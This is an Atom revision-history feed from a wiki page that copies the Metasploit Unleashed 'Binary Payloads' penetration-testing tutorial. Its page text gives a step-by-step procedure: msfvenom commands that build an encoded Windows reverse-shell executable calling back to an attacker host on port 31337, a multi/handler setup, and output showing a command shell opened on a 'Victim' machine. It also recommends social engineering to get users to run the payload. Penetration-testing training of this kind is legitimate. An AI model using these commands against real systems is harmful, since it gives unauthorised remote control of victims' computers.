<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=MSF%3A_Binary_Payloads</id>
	<title>MSF: Binary Payloads - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://onnocenter.or.id/wiki/index.php?action=history&amp;feed=atom&amp;title=MSF%3A_Binary_Payloads"/>
	<link rel="alternate" type="text/html" href="https://onnocenter.or.id/wiki/index.php?title=MSF:_Binary_Payloads&amp;action=history"/>
	<updated>2026-04-07T12:11:07Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.4</generator>
	<entry>
		<id>https://onnocenter.or.id/wiki/index.php?title=MSF:_Binary_Payloads&amp;diff=62122&amp;oldid=prev</id>
		<title>Onnowpurbo: Created page with &quot;Sumber: https://www.offensive-security.com/metasploit-unleashed/binary-payloads/    It seems like Metasploit is full of interesting and useful features. One of these is the ab...&quot;</title>
		<link rel="alternate" type="text/html" href="https://onnocenter.or.id/wiki/index.php?title=MSF:_Binary_Payloads&amp;diff=62122&amp;oldid=prev"/>
		<updated>2020-07-27T09:48:41Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;Sumber: https://www.offensive-security.com/metasploit-unleashed/binary-payloads/    It seems like Metasploit is full of interesting and useful features. One of these is the ab...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Sumber: https://www.offensive-security.com/metasploit-unleashed/binary-payloads/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It seems like Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering; if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software.&lt;br /&gt;
&lt;br /&gt;
Let’s look at a quick example of how to do this. We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this, we will use the command line tool msfvenom. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the -f exe option.&lt;br /&gt;
&lt;br /&gt;
We’ll generate a Windows reverse shell executable that will connect back to us on port 31337.&lt;br /&gt;
&lt;br /&gt;
root@kali:~# msfvenom --payload-options -p windows/shell/reverse_tcp&lt;br /&gt;
Options for payload/windows/shell/reverse_tcp:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
       Name: Windows Command Shell, Reverse TCP Stager&lt;br /&gt;
     Module: payload/windows/shell/reverse_tcp&lt;br /&gt;
   Platform: Windows&lt;br /&gt;
       Arch: x86&lt;br /&gt;
Needs Admin: No&lt;br /&gt;
 Total size: 281&lt;br /&gt;
       Rank: Normal&lt;br /&gt;
&lt;br /&gt;
Provided by:&lt;br /&gt;
    spoonm &lt;br /&gt;
    sf &lt;br /&gt;
    hdm &lt;br /&gt;
    skape &lt;br /&gt;
&lt;br /&gt;
Basic options:&lt;br /&gt;
Name      Current Setting  Required  Description&lt;br /&gt;
----      ---------------  --------  -----------&lt;br /&gt;
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)&lt;br /&gt;
LHOST                      yes       The listen address&lt;br /&gt;
LPORT     4444             yes       The listen port&lt;br /&gt;
&lt;br /&gt;
Description:&lt;br /&gt;
  Spawn a piped command shell (staged). Connect back to the attacker&lt;br /&gt;
root@kali:~# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 -b &amp;quot;\x00&amp;quot; -e x86/shikata_ga_nai -f exe -o /tmp/1.exe&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai&lt;br /&gt;
x86/shikata_ga_nai succeeded with size 326 (iteration=0)&lt;br /&gt;
x86/shikata_ga_nai chosen with final size 326&lt;br /&gt;
Payload size: 326 bytes&lt;br /&gt;
Saved as: /tmp/1.exe&lt;br /&gt;
&lt;br /&gt;
root@kali:~# file /tmp/1.exe&lt;br /&gt;
/tmp/1.exe: PE32 executable (GUI) Intel 80386, for MS Windows&lt;br /&gt;
Now we see we have a Windows executable ready to go. Now, we will use multi/handler, which is a stub that handles exploits launched outside of the framework.&lt;br /&gt;
&lt;br /&gt;
root@kali:~# msfconsole -q&lt;br /&gt;
msf &amp;gt; use exploit/multi/handler&lt;br /&gt;
msf exploit(handler) &amp;gt; show options&lt;br /&gt;
&lt;br /&gt;
Module options:&lt;br /&gt;
&lt;br /&gt;
   Name  Current Setting  Required  Description &lt;br /&gt;
   ----  ---------------  --------  ----------- &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exploit target:&lt;br /&gt;
&lt;br /&gt;
   Id  Name            &lt;br /&gt;
   --  ----            &lt;br /&gt;
   0   Wildcard Target&lt;br /&gt;
When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.&lt;br /&gt;
&lt;br /&gt;
msf exploit(handler) &amp;gt; set payload windows/shell/reverse_tcp&lt;br /&gt;
payload =&amp;gt; windows/shell/reverse_tcp&lt;br /&gt;
msf exploit(handler) &amp;gt; show options&lt;br /&gt;
&lt;br /&gt;
Module options:&lt;br /&gt;
&lt;br /&gt;
   Name  Current Setting  Required  Description&lt;br /&gt;
   ----  ---------------  --------  -----------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Payload options (windows/shell/reverse_tcp):&lt;br /&gt;
&lt;br /&gt;
   Name      Current Setting  Required  Description&lt;br /&gt;
   ----      ---------------  --------  -----------&lt;br /&gt;
   EXITFUNC  thread           yes       Exit technique: seh, thread, process&lt;br /&gt;
   LHOST                      yes       The local address&lt;br /&gt;
   LPORT     4444             yes       The local port&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exploit target:&lt;br /&gt;
&lt;br /&gt;
   Id  Name&lt;br /&gt;
   --  ----&lt;br /&gt;
   0   Wildcard Target &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
msf exploit(handler) &amp;gt; set LHOST 172.16.104.130&lt;br /&gt;
LHOST =&amp;gt; 172.16.104.130&lt;br /&gt;
msf exploit(handler) &amp;gt; set LPORT 31337&lt;br /&gt;
LPORT =&amp;gt; 31337&lt;br /&gt;
msf exploit(handler) &amp;gt;&lt;br /&gt;
Now that we have everything set up and ready to go, we run exploit for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.&lt;br /&gt;
&lt;br /&gt;
msf exploit(handler) &amp;gt; exploit&lt;br /&gt;
&lt;br /&gt;
[*] Handler binding to LHOST 0.0.0.0&lt;br /&gt;
[*] Started reverse handler&lt;br /&gt;
[*] Starting the payload handler...&lt;br /&gt;
[*] Sending stage (474 bytes)&lt;br /&gt;
[*] Command shell session 2 opened (172.16.104.130:31337 -&amp;gt; 172.16.104.128:1150)&lt;br /&gt;
&lt;br /&gt;
Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;
(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;
&lt;br /&gt;
C:\Documents and Settings\Victim\My Documents&amp;gt;&lt;br /&gt;
‹ PREVIOUS PAGE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Referensi==&lt;br /&gt;
&lt;br /&gt;
* https://www.offensive-security.com/metasploit-unleashed/binary-payloads/&lt;br /&gt;
&lt;br /&gt;
==Pranala Menarik==&lt;br /&gt;
&lt;br /&gt;
* [[Metasploit]]&lt;/div&gt;</summary>
		<author><name>Onnowpurbo</name></author>
	</entry>
</feed>